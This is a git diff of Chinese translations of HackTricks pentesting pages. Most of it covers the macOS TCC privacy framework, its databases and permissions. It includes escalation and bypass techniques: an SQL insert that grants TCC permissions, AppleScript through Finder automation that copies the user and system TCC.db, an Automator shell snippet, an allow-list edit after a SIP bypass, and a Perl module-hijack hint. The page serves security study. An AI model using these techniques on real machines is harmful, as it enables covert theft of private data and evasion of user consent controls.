<figure><img src="../../../.gitbook/assets/image (1).png" alt="" width="244"><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (1) (1).png" alt="" width="244"><figcaption></figcaption></figure>
|
||||
|
||||
例如，如果一个脚本导入了**`use File::Basename;`**，那么可以创建`/Library/Perl/5.30/File/Basename.pm`来执行任意代码。
|
||||
例如，如果脚本正在导入 **`use File::Basename;`**，那么可以创建 `/Library/Perl/5.30/File/Basename.pm` 来执行任意代码。
|
||||
|
||||
## 参考资料
|
||||
|
||||
|
|
@ -80,10 +103,10 @@ perl -e 'print join("\n", @INC)'
|
|||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* 你在一家**网络安全公司**工作吗？想要在HackTricks中**宣传你的公司**吗？或者想要**获取PEASS的最新版本或下载PDF格式的HackTricks**吗？请查看[**订阅计划**](https://github.com/sponsors/carlospolop)！
|
||||
* 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品——[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||||
* 获得[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass)，或在**Twitter**上**关注**我[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* **通过向**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和**[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享您的黑客技巧。**
|
||||
* 如果您在**网络安全公司**工作？您想在**HackTricks**中看到您的**公司广告**？或者您想要访问**PEASS的最新版本或下载HackTricks的PDF**？查看[**订阅计划**](https://github.com/sponsors/carlospolop)！
|
||||
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family)，我们独家的[**NFTs**](https://opensea.io/collection/the-peass-family)系列
|
||||
* 获取[**官方的PEASS & HackTricks商品**](https://peass.creator-spring.com)
|
||||
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**telegram群组**](https://t.me/peass)或在**Twitter**上**关注**我 [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* **通过向**[**hacktricks仓库**](https://github.com/carlospolop/hacktricks) **和** [**hacktricks-cloud仓库**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享您的黑客技巧。**
|
||||
|
||||
</details>
|
||||
|
|
|
|||
|
|
@ -4,62 +4,62 @@
|
|||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* 你在一家**网络安全公司**工作吗？你想在HackTricks中看到你的**公司广告**吗？或者你想获得**PEASS的最新版本或下载PDF格式的HackTricks**吗？请查看[**订阅计划**](https://github.com/sponsors/carlospolop)！
|
||||
* 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||||
* 获得[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass)，或者**关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* **通过向**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和**[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享你的黑客技巧。**
|
||||
* 如果您在**网络安全公司**工作，想在**HackTricks**上看到您的**公司广告**，或者想要获取**PEASS最新版本或下载HackTricks的PDF**？请查看[**订阅计划**](https://github.com/sponsors/carlospolop)！
|
||||
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family)，我们独家的[**NFTs**](https://opensea.io/collection/the-peass-family)系列。
|
||||
* 获取[**官方PEASS & HackTricks周边商品**](https://peass.creator-spring.com)
|
||||
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**telegram群组**](https://t.me/peass)或在**Twitter**上**关注**我[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* **通过向**[**hacktricks仓库**](https://github.com/carlospolop/hacktricks) **和** [**hacktricks-cloud仓库**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享您的黑客技巧。**
|
||||
|
||||
</details>
|
||||
|
||||
## **基本信息**
|
||||
|
||||
**TCC (Transparency, Consent, and Control)** 是 macOS 中的一种机制，用于从隐私角度**限制和控制应用程序对某些功能的访问**。这些功能可以包括位置服务、联系人、照片、麦克风、摄像头、辅助功能、完全磁盘访问等等。
|
||||
**TCC（透明度、同意和控制）**是macOS中的一种机制，用于**限制和控制应用程序对某些功能的访问**，通常从隐私角度出发。这可能包括位置服务、联系人、照片、麦克风、摄像头、辅助功能、完整磁盘访问等等。
|
||||
|
||||
从用户的角度来看，当应用程序要访问受 TCC 保护的功能时，他们会看到 TCC 的作用。这时，用户会收到一个对话框，询问他们是否允许访问。
|
||||
从用户的角度来看，当应用程序想要访问TCC保护的某个功能时，他们会看到TCC的作用。这时，系统会**提示用户**一个对话框，询问他们是否允许访问。
|
||||
|
||||
用户也可以通过**显式意图**向应用程序授予对文件的访问权限，例如当用户将文件**拖放到程序中**时（显然程序应该具有对文件的访问权限）。
|
||||
也可以通过用户的**明确意图**来**授权应用程序访问**文件，例如当用户**拖放文件到程序中**时（显然程序应该能够访问它）。
|
||||
|
||||
|
||||
|
||||
|
||||
**TCC** 由位于 `/System/Library/PrivateFrameworks/TCC.framework/Support/tccd` 的**守护进程**处理，并在 `/System/Library/LaunchDaemons/com.apple.tccd.system.plist` 中进行配置（注册 mach 服务 `com.apple.tccd.system`）。
|
||||
**TCC**由位于`/System/Library/PrivateFrameworks/TCC.framework/Support/tccd`的**守护进程**处理，并在`/System/Library/LaunchDaemons/com.apple.tccd.system.plist`中配置（注册mach服务`com.apple.tccd.system`）。
|
||||
|
||||
每个已登录用户定义了一个在用户模式下运行的 tccd，其位置在 `/System/Library/LaunchAgents/com.apple.tccd.plist`，注册了 mach 服务 `com.apple.tccd` 和 `com.apple.usernotifications.delegate.com.apple.tccd`。
|
||||
有一个**用户模式tccd**，为每个登录的用户运行，定义在`/System/Library/LaunchAgents/com.apple.tccd.plist`中，注册mach服务`com.apple.tccd`和`com.apple.usernotifications.delegate.com.apple.tccd`。
|
||||
|
||||
在这里，你可以看到作为系统和用户运行的 tccd：
|
||||
这里您可以看到作为系统和用户运行的tccd：
|
||||
```bash
|
||||
ps -ef | grep tcc
|
||||
0 374 1 0 Thu07PM ?? 2:01.66 /System/Library/PrivateFrameworks/TCC.framework/Support/tccd system
|
||||
501 63079 1 0 6:59PM ?? 0:01.95 /System/Library/PrivateFrameworks/TCC.framework/Support/tccd
|
||||
```
|
||||
权限是从父应用程序继承的，并且权限是基于Bundle ID和Developer ID进行跟踪。
|
||||
权限**继承自父级**应用程序，且权限基于**Bundle ID**和**Developer ID**进行**跟踪**。
|
||||
|
||||
### TCC数据库
|
||||
### TCC 数据库
|
||||
|
||||
然后，允许/拒绝的内容存储在一些TCC数据库中：
|
||||
允许/拒绝操作随后存储在一些TCC数据库中：
|
||||
|
||||
* 系统范围的数据库位于`/Library/Application Support/com.apple.TCC/TCC.db`。
|
||||
* 此数据库受到SIP保护，因此只有SIP绕过才能写入其中。
|
||||
* 用户TCC数据库`$HOME/Library/Application Support/com.apple.TCC/TCC.db`用于每个用户的首选项。
|
||||
* 此数据库受保护，因此只有具有高TCC权限（如完全磁盘访问权限）的进程才能写入其中（但不受SIP保护）。
|
||||
* 系统范围的数据库位于 **`/Library/Application Support/com.apple.TCC/TCC.db`**。
|
||||
* 该数据库受到**SIP保护**，因此只有SIP绕过才能写入它。
|
||||
* 用户TCC数据库 **`$HOME/Library/Application Support/com.apple.TCC/TCC.db`** 用于每个用户的偏好设置。
|
||||
* 该数据库受保护，因此只有具有高TCC权限的进程（如完全磁盘访问）才能写入它（但它不受SIP保护）。
|
||||
|
||||
{% hint style="warning" %}
|
||||
前面的数据库也受到TCC保护，无法读取常规用户TCC数据库，除非是从具有TCC特权进程中读取。
|
||||
上述数据库也**受TCC保护以限制读取访问**。因此，除非是来自具有TCC特权的进程，否则您**无法读取**您的常规用户TCC数据库。
|
||||
|
||||
但是，请记住，具有这些高权限（如FDA或`kTCCServiceEndpointSecurityClient`）的进程将能够写入用户的TCC数据库。
|
||||
然而，请记住，具有这些高权限的进程（如**FDA**或**`kTCCServiceEndpointSecurityClient`**）将能够写入用户的TCC数据库。
|
||||
{% endhint %}
|
||||
|
||||
* 在`/var/db/locationd/clients.plist`中有第三个TCC数据库，用于指示允许访问位置服务的客户端。
|
||||
* 受SIP保护的文件`/Users/carlospolop/Downloads/REG.db`（也受TCC的读取访问保护）包含所有有效TCC数据库的位置。
|
||||
* 受SIP保护的文件`/Users/carlospolop/Downloads/MDMOverrides.plist`（也受TCC的读取访问保护）包含更多TCC授予的权限。
|
||||
* 可由任何人读取的受SIP保护文件`/Library/Apple/Library/Bundles/TCC_Compatibility.bundle/Contents/Resources/AllowApplicationsList.plist`是需要TCC异常的应用程序的允许列表。
|
||||
* 还有第**三个**TCC数据库位于 **`/var/db/locationd/clients.plist`**，用于指示允许**访问位置服务**的客户端。
|
||||
* 受SIP保护的文件 **`/Users/carlospolop/Downloads/REG.db`**（也受TCC保护以限制读取访问），包含所有**有效TCC数据库**的**位置**。
|
||||
* 受SIP保护的文件 **`/Users/carlospolop/Downloads/MDMOverrides.plist`**（也受TCC保护以限制读取访问），包含更多TCC授予的权限。
|
||||
* 受SIP保护的文件 **`/Library/Apple/Library/Bundles/TCC_Compatibility.bundle/Contents/Resources/AllowApplicationsList.plist`**（但任何人都可读）是需要TCC例外的应用程序的允许列表。 
|
||||
|
||||
{% hint style="success" %}
|
||||
iOS中的TCC数据库位于`/private/var/mobile/Library/TCC/TCC.db`
|
||||
**iOS**中的TCC数据库位于 **`/private/var/mobile/Library/TCC/TCC.db`**
|
||||
{% endhint %}
|
||||
|
||||
{% hint style="info" %}
|
||||
通知中心UI可以对系统TCC数据库进行更改：
|
||||
**通知中心UI**可以在系统TCC数据库中进行**更改**：
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
|
|
@ -70,7 +70,7 @@ com.apple.rootless.storage.TCC
|
|||
```
|
||||
{% endcode %}
|
||||
|
||||
然而，用户可以使用**`tccutil`**命令行实用程序**删除或查询规则**。
|
||||
然而，用户可以使用命令行工具 **`tccutil`** **删除或查询规则**。
|
||||
{% endhint %}
|
||||
|
||||
#### 查询数据库
|
||||
|
|
@ -123,18 +123,18 @@ sqlite> select * from access where client LIKE "%telegram%" and auth_value=0;
|
|||
{% endtabs %}
|
||||
|
||||
{% hint style="success" %}
|
||||
检查这两个数据库，您可以查看应用程序允许、禁止或未拥有的权限（它会要求您提供权限）。
|
||||
检查这两个数据库，您可以检查应用程序已允许、已禁止或没有的权限（它将请求权限）。
|
||||
{% endhint %}
|
||||
|
||||
* **`service`** 是 TCC 权限的字符串表示
|
||||
* **`client`** 是具有权限的 Bundle ID 或二进制文件的路径
|
||||
* **`client_type`** 指示它是 Bundle Identifier（0）还是绝对路径（1）
|
||||
* **`service`** 是 TCC **权限** 字符串表示
|
||||
* **`client`** 是具有权限的 **bundle ID** 或 **路径到二进制**
|
||||
* **`client_type`** 表示它是 Bundle Identifier(0) 还是绝对路径(1)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>如果是绝对路径，如何执行</summary>
|
||||
<summary>如果是绝对路径该如何执行</summary>
|
||||
|
||||
只需执行 **`launctl load you_bin.plist`**，其中 `you_bin.plist` 是一个 plist 文件，内容如下：
|
||||
只需执行 **`launchctl load your_bin.plist`**，使用类似的 plist：
|
||||
```xml
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
|
||||
|
|
@ -191,15 +191,15 @@ echo "$REQ_STR" | csreq -r- -b /tmp/csreq.bin
|
|||
REQ_HEX=$(xxd -p /tmp/csreq.bin | tr -d '\n')
|
||||
echo "X'$REQ_HEX'"
|
||||
```
|
||||
* 有关表格的**其他字段**的更多信息，请[**查看此博客文章**](https://www.rainforestqa.com/blog/macos-tcc-db-deep-dive)。
|
||||
* 有关表格**其他字段**的更多信息，请[**查看此博客文章**](https://www.rainforestqa.com/blog/macos-tcc-db-deep-dive)。
|
||||
|
||||
您还可以在`系统偏好设置 --> 安全性与隐私 --> 隐私 --> 文件和文件夹`中检查应用程序的**已授予权限**。
|
||||
您还可以在 `系统偏好设置 --> 安全性与隐私 --> 隐私 --> 文件与文件夹` 中检查**已授予应用程序的权限**。
|
||||
|
||||
{% hint style="success" %}
|
||||
用户可以使用**`tccutil`** **删除或查询规则**。 
|
||||
用户_可以_使用 **`tccutil`** **删除或查询规则**。 
|
||||
{% endhint %}
|
||||
|
||||
#### 重置TCC权限
|
||||
#### 重置 TCC 权限
|
||||
```bash
|
||||
# You can reset all the permissions given to an application with
|
||||
tccutil reset All app.some.id
|
||||
|
|
@ -209,7 +209,7 @@ tccutil reset All
|
|||
```
|
||||
### TCC 签名检查
|
||||
|
||||
TCC **数据库**存储了应用程序的**Bundle ID**，但它还会**存储**关于**签名**的**信息**，以确保请求使用权限的应用程序是正确的。
|
||||
TCC **数据库** 存储应用程序的 **Bundle ID**，但它也 **存储** 有关 **签名** 的**信息**，以**确保**请求使用权限的应用程序是正确的。
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
|
|
@ -226,17 +226,17 @@ csreq -t -r /tmp/telegram_csreq.bin
|
|||
{% endcode %}
|
||||
|
||||
{% hint style="warning" %}
|
||||
因此，使用相同名称和捆绑标识的其他应用程序将无法访问授予其他应用程序的权限。
|
||||
因此，使用相同名称和捆绑 ID 的其他应用程序将无法访问授予其他应用程序的权限。
|
||||
{% endhint %}
|
||||
|
||||
### 权限和TCC权限
|
||||
### 权限和 TCC 权限
|
||||
|
||||
应用程序不仅需要请求并获得对某些资源的访问权限，还需要具备相关的授权。\
|
||||
例如，Telegram具有授权`com.apple.security.device.camera`以请求对相机的访问权限。没有此授权的应用程序将无法访问相机（用户甚至不会被询问权限）。
|
||||
应用程序**不仅需要** **请求**并已被**授予访问**某些资源的权限，它们还需要**具有相关的权限**。\
|
||||
例如，**Telegram** 拥有权限 `com.apple.security.device.camera` 来请求**访问摄像头**。一个**没有**这个**权限的应用程序将无法**访问摄像头（用户甚至不会被询问权限）。
|
||||
|
||||
然而，对于应用程序访问某些用户文件夹（例如`~/Desktop`，`~/Downloads`和`~/Documents`）并不需要具备任何特定的授权。系统会透明地处理访问并根据需要提示用户。
|
||||
然而，对于应用程序来说，要**访问**某些**用户文件夹**，如 `~/Desktop`、`~/Downloads` 和 `~/Documents`，它们**不需要**具有任何特定的**权限**。系统将透明地处理访问并在需要时**提示用户**。
|
||||
|
||||
苹果的应用程序不会生成提示。它们在其授权列表中包含预授予权限，这意味着它们永远不会生成弹出窗口，也不会出现在任何TCC数据库中。例如：
|
||||
苹果的应用程序**不会生成提示**。它们在其**权限**列表中包含**预先授予的权利**，这意味着它们将**永远不会生成弹出窗口**，**也不**会出现在任何**TCC 数据库**中。例如：
|
||||
```bash
|
||||
codesign -dv --entitlements :- /System/Applications/Calendar.app
|
||||
[...]
|
||||
|
|
@ -247,23 +247,23 @@ codesign -dv --entitlements :- /System/Applications/Calendar.app
|
|||
<string>kTCCServiceAddressBook</string>
|
||||
</array>
|
||||
```
|
||||
这将避免日历询问用户访问提醒事项、日历和通讯录。
|
||||
这将避免日历请求用户访问提醒事项、日历和地址簿。
|
||||
|
||||
{% hint style="success" %}
|
||||
除了一些关于权限的官方文档外，还可以在[https://newosxbook.com/ent.jl](https://newosxbook.com/ent.jl)找到一些非官方的**关于权限的有趣信息**。
|
||||
除了一些关于权限的官方文档外，还可以在[**https://newosxbook.com/ent.jl**](https://newosxbook.com/ent.jl)找到关于权限的**非官方有趣信息**。
|
||||
{% endhint %}
|
||||
|
||||
一些TCC权限包括：kTCCServiceAppleEvents、kTCCServiceCalendar、kTCCServicePhotos... 没有公共列表来定义所有这些权限，但可以查看这个[**已知权限列表**](https://www.rainforestqa.com/blog/macos-tcc-db-deep-dive#service)。
|
||||
一些TCC权限包括：kTCCServiceAppleEvents、kTCCServiceCalendar、kTCCServicePhotos... 没有公开的列表定义了所有这些权限，但你可以查看这个[**已知权限列表**](https://www.rainforestqa.com/blog/macos-tcc-db-deep-dive#service)。
|
||||
|
||||
### 敏感的未受保护的位置
|
||||
### 敏感未受保护的地方
|
||||
|
||||
* $HOME（本身）
|
||||
* $HOME/.ssh、$HOME/.aws等
|
||||
* $HOME/.ssh、$HOME/.aws 等
|
||||
* /tmp
|
||||
|
||||
### 用户意图 / com.apple.macl
|
||||
|
||||
如前所述，可以通过将文件拖放到应用程序中来**授予应用程序对文件的访问权限**。这个访问权限不会在任何TCC数据库中指定，而是作为文件的**扩展属性**存储。该属性将**存储允许的应用程序的UUID**。
|
||||
如前所述，可以通过将文件拖放到应用程序上来**授予应用程序对文件的访问权限**。这种访问不会在任何TCC数据库中指定，而是作为文件的**扩展** **属性**。此属性将**存储**允许应用程序的UUID：
|
||||
```bash
|
||||
xattr Desktop/private.txt
|
||||
com.apple.macl
|
||||
|
|
@ -279,22 +279,22 @@ otool -l /System/Applications/Utilities/Terminal.app/Contents/MacOS/Terminal| gr
|
|||
uuid 769FD8F1-90E0-3206-808C-A8947BEBD6C3
|
||||
```
|
||||
{% hint style="info" %}
|
||||
有趣的是，**`com.apple.macl`**属性由**沙盒**管理，而不是tccd。
|
||||
值得注意的是，**`com.apple.macl`** 属性是由 **Sandbox** 管理的，而不是 tccd。
|
||||
|
||||
还要注意，如果将允许计算机上某个应用程序的UUID的文件移动到另一台计算机上，因为相同的应用程序将具有不同的UID，它不会授予对该应用程序的访问权限。
|
||||
另外请注意，如果您将允许计算机中某个应用的 UUID 的文件移动到另一台计算机，因为同一个应用将有不同的 UIDs，它不会授予那个应用访问权限。
|
||||
{% endhint %}
|
||||
|
||||
扩展属性`com.apple.macl`无法像其他扩展属性一样清除，因为它受到SIP的保护。然而，正如[**在这篇文章中解释的**](https://www.brunerd.com/blog/2020/01/07/track-and-tackle-com-apple-macl/)，可以通过将文件**压缩**、**删除**和**解压缩**来禁用它。
|
||||
扩展属性 `com.apple.macl` **无法像其他扩展属性那样被清除**，因为它受到 **SIP** 的保护。然而，正如[**这篇文章中解释的**](https://www.brunerd.com/blog/2020/01/07/track-and-tackle-com-apple-macl/)，通过对文件进行**压缩**，**删除**然后**解压**，可以禁用它。
|
||||
|
||||
## TCC权限提升和绕过
|
||||
## TCC 权限提升与绕过
|
||||
|
||||
### 插入到TCC
|
||||
### 插入到 TCC
|
||||
|
||||
如果您成功获得对TCC数据库的写访问权限，可以使用以下类似的方法添加条目（删除注释）：
|
||||
如果您在某个时刻设法获得了对 TCC 数据库的写入权限，您可以使用类似以下的方法来添加一个条目（移除注释）：
|
||||
|
||||
<details>
|
||||
|
||||
<summary>插入到TCC示例</summary>
|
||||
<summary>插入到 TCC 示例</summary>
|
||||
```sql
|
||||
INSERT INTO access (
|
||||
service,
|
||||
|
|
@ -336,13 +336,13 @@ strftime('%s', 'now') -- last_reminded with default current timestamp
|
|||
```
|
||||
</details>
|
||||
|
||||
### 自动化到FDA\*
|
||||
### 自动化至FDA\*
|
||||
|
||||
自动化权限的TCC名称是：**`kTCCServiceAppleEvents`**\
|
||||
这个特定的TCC权限还指示了可以在TCC数据库中管理的**应用程序**（因此权限不允许仅仅管理所有内容）。
|
||||
TCC中自动化权限的名称是：**`kTCCServiceAppleEvents`**\
|
||||
这个特定的TCC权限还指示了可以在TCC数据库中管理的**应用程序**（所以权限并不允许管理所有内容）。
|
||||
|
||||
**Finder**是一个**始终具有FDA**的应用程序（即使它在用户界面中不可见），因此如果您对其具有**自动化**权限，您可以滥用其权限来**执行一些操作**。\
|
||||
在这种情况下，您的应用程序需要对**`com.apple.Finder`**具有**`kTCCServiceAppleEvents`**权限。
|
||||
**Finder**是一个**始终拥有FDA**的应用程序（即使它没有出现在UI中），所以如果你拥有对它的**自动化**权限，你可以滥用它的权限来**让它执行一些操作**。\
|
||||
在这种情况下，你的应用程序将需要对**`com.apple.Finder`**的**`kTCCServiceAppleEvents`**权限。
|
||||
|
||||
{% tabs %}
|
||||
{% tab title="窃取用户的TCC.db" %}
|
||||
|
|
@ -362,7 +362,9 @@ end try
|
|||
end tell
|
||||
EOD
|
||||
```
|
||||
{% tab title="窃取系统的TCC.db" %}
|
||||
{% endtab %}
|
||||
|
||||
{% tab title="窃取系统的 TCC.db" %}
|
||||
```applescript
|
||||
osascript<<EOD
|
||||
tell application "Finder"
|
||||
|
|
@ -380,25 +382,25 @@ EOD
|
|||
{% endtab %}
|
||||
{% endtabs %}
|
||||
|
||||
你可以滥用这个来**编写自己的用户TCC数据库**。
|
||||
您可以滥用此功能来**编写您自己的用户TCC数据库**。
|
||||
|
||||
{% hint style="warning" %}
|
||||
有了这个权限，你将能够**要求Finder访问TCC受限文件夹**并给你文件，但据我所知，你**无法让Finder执行任意代码**来完全滥用他的FDA访问权限。
|
||||
拥有此权限，您将能够**请求finder访问受TCC限制的文件夹**并向您提供文件，但据我所知，您**无法使Finder执行任意代码**以完全滥用其FDA访问权限。
|
||||
|
||||
因此，你将无法滥用完整的FDA功能。
|
||||
因此，您将无法滥用完整的FDA能力。
|
||||
{% endhint %}
|
||||
|
||||
这是获取Finder上的自动化权限的TCC提示：
|
||||
这是获取对Finder自动化权限的TCC提示：
|
||||
|
||||
<figure><img src="../../../../.gitbook/assets/image.png" alt="" width="244"><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../../.gitbook/assets/image (1).png" alt="" width="244"><figcaption></figcaption></figure>
|
||||
|
||||
{% hint style="danger" %}
|
||||
请注意，因为**Automator**应用程序具有TCC权限**`kTCCServiceAppleEvents`**，它可以**控制任何应用程序**，比如Finder。因此，如果有控制Automator的权限，你也可以使用下面的代码控制**Finder**：
|
||||
请注意，因为**Automator**应用程序具有TCC权限**`kTCCServiceAppleEvents`**，它可以**控制任何应用程序**，如Finder。所以，如果您有控制Automator的权限，您也可以使用下面的代码来控制**Finder**：
|
||||
{% endhint %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary>在Automator中获取一个shell</summary>
|
||||
<summary>在Automator内获取一个shell</summary>
|
||||
```applescript
|
||||
osascript<<EOD
|
||||
set theScript to "touch /tmp/something"
|
||||
|
|
@ -420,54 +422,44 @@ EOD
|
|||
```
|
||||
</details>
|
||||
|
||||
同样的情况也发生在**Script Editor app**上，它可以控制Finder，但是使用AppleScript无法强制执行脚本。
|
||||
同样的情况发生在**Script Editor app**，它可以控制Finder，但使用AppleScript你不能强制它执行脚本。
|
||||
|
||||
### **从Endpoint Security Client到FDA**
|
||||
### **端点安全客户端到FDA**
|
||||
|
||||
如果你有**`kTCCServiceEndpointSecurityClient`**，你就有FDA权限。结束。
|
||||
如果你有**`kTCCServiceEndpointSecurityClient`**，你就拥有FDA。结束。
|
||||
|
||||
### 从System Policy SysAdmin File到FDA
|
||||
### 系统策略SysAdmin文件到FDA
|
||||
|
||||
**`kTCCServiceSystemPolicySysAdminFiles`**允许**更改**用户的**`NFSHomeDirectory`**属性，从而更改用户的主文件夹，因此可以**绕过TCC**。
|
||||
**`kTCCServiceSystemPolicySysAdminFiles`** 允许**更改**用户的**`NFSHomeDirectory`** 属性，这改变了他的家目录，因此允许**绕过TCC**。
|
||||
|
||||
### 从User TCC DB到FDA
|
||||
### 用户TCC数据库到FDA
|
||||
|
||||
通过获得**用户TCC数据库的写权限**，你无法授予自己**`FDA`**权限，只有系统数据库中的权限可以授予。
|
||||
获取对**用户TCC**数据库的**写权限**，你**不能**授予自己**`FDA`** 权限，只有系统数据库中的那个可以授予该权限。
|
||||
|
||||
但是你可以给自己**`对Finder的自动化权限`**，并滥用之前的技术来升级到FDA\*。
|
||||
但是你**可以**给自己**`自动化权限到Finder`**，并滥用前面的技术来升级到FDA\*。
|
||||
|
||||
### **从FDA到TCC权限**
|
||||
### **FDA到TCC权限**
|
||||
|
||||
在TCC中，**Full Disk Access**的名称是**`kTCCServiceSystemPolicyAllFiles`**
|
||||
**完全磁盘访问**在TCC中的名称是**`kTCCServiceSystemPolicyAllFiles`**
|
||||
|
||||
我不认为这是一个真正的权限提升，但以防万一你觉得有用：如果你控制了一个具有FDA权限的程序，你可以**修改用户的TCC数据库并给自己任意访问权限**。这可以作为一种持久化技术，在你可能失去FDA权限的情况下很有用。
|
||||
我不认为这是一个真正的权限提升，但以防你觉得它有用：如果你控制了一个拥有FDA的程序，你可以**修改用户的TCC数据库并给自己任何访问权限**。这可以作为一个持久性技术，以防你可能失去你的FDA权限。
|
||||
|
||||
### **从SIP绕过到TCC绕过**
|
||||
### **SIP绕过到TCC绕过**
|
||||
|
||||
系统的TCC数据库受到SIP的保护，这就是为什么只有具有指定权限的进程才能修改它。因此，如果攻击者找到了一个可以绕过SIP的文件（能够修改受SIP限制的文件），他将能够：
|
||||
系统**TCC数据库**受到**SIP**的保护，这就是为什么只有拥有**指定权限的进程才能修改**它。因此，如果攻击者找到了一个**SIP绕过**一个**文件**（能够修改受SIP限制的文件），他将能够：
|
||||
|
||||
* **移除**TCC数据库的保护，并给自己所有的TCC权限。他可以滥用其中的任何文件，例如：
|
||||
* **移除TCC数据库的保护**，并给自己所有TCC权限。例如，他可以滥用以下任何文件：
|
||||
* TCC系统数据库
|
||||
* REG.db
|
||||
* MDMOverrides.plist
|
||||
|
||||
然而，还有另一种方法可以滥用这个**SIP绕过来绕过TCC**，文件`/Library/Apple/Library/Bundles/TCC_Compatibility.bundle/Contents/Resources/AllowApplicationsList.plist`是一个需要TCC例外的应用程序允许列表。因此，如果攻击者可以**移除该文件的SIP保护**并添加自己的**应用程序**，该应用程序将能够绕过TCC。\
|
||||
例如，添加终端：
|
||||
然而，还有另一种利用这个**SIP绕过来绕过TCC**的方法，文件`/Library/Apple/Library/Bundles/TCC_Compatibility.bundle/Contents/Resources/AllowApplicationsList.plist` 是一个允许需要TCC例外的应用程序的列表。因此，如果攻击者能够**移除这个文件的SIP保护**并添加他**自己的应用程序**，该应用程序将能够绕过TCC。\
|
||||
例如添加终端：
|
||||
```bash
|
||||
# Get needed info
|
||||
codesign -d -r- /System/Applications/Utilities/Terminal.app
|
||||
```
|
||||
AllowApplicationsList.plist:
|
||||
|
||||
AllowApplicationsList.plist是一个用于macOS的配置文件，用于管理TCC（Transparency, Consent, and Control）框架中的应用程序访问权限。TCC框架是macOS中的一种安全保护机制，用于保护用户的隐私和数据安全。
|
||||
|
||||
该配置文件列出了被授权访问敏感数据和功能的应用程序。只有在AllowApplicationsList.plist中列出的应用程序才能访问受TCC保护的资源，例如摄像头、麦克风、联系人、位置等。
|
||||
|
||||
要修改AllowApplicationsList.plist文件，需要具有管理员权限。可以使用命令行工具或图形界面工具来编辑该文件。在编辑文件时，需要确保只添加可信任的应用程序到AllowApplicationsList.plist中，以确保用户的隐私和数据安全。
|
||||
|
||||
请注意，修改AllowApplicationsList.plist文件可能会导致应用程序无法访问所需的资源。因此，在进行任何更改之前，请确保了解应用程序的访问需求，并谨慎操作。
|
||||
|
||||
更多关于TCC框架和macOS安全保护的信息，请参考官方文档和相关资源。
|
||||
AllowApplicationsList.plist：
|
||||
```xml
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
|
||||
|
|
@ -490,7 +482,7 @@ AllowApplicationsList.plist是一个用于macOS的配置文件，用于管理TCC
|
|||
</dict>
|
||||
</plist>
|
||||
```
|
||||
### TCC绕过
|
||||
### TCC 绕过
|
||||
|
||||
{% content-ref url="macos-tcc-bypasses/" %}
|
||||
[macos-tcc-bypasses](macos-tcc-bypasses/)
|
||||
|
|
@ -507,12 +499,12 @@ AllowApplicationsList.plist是一个用于macOS的配置文件，用于管理TCC
|
|||
|
||||
<details>
|
||||
|
||||
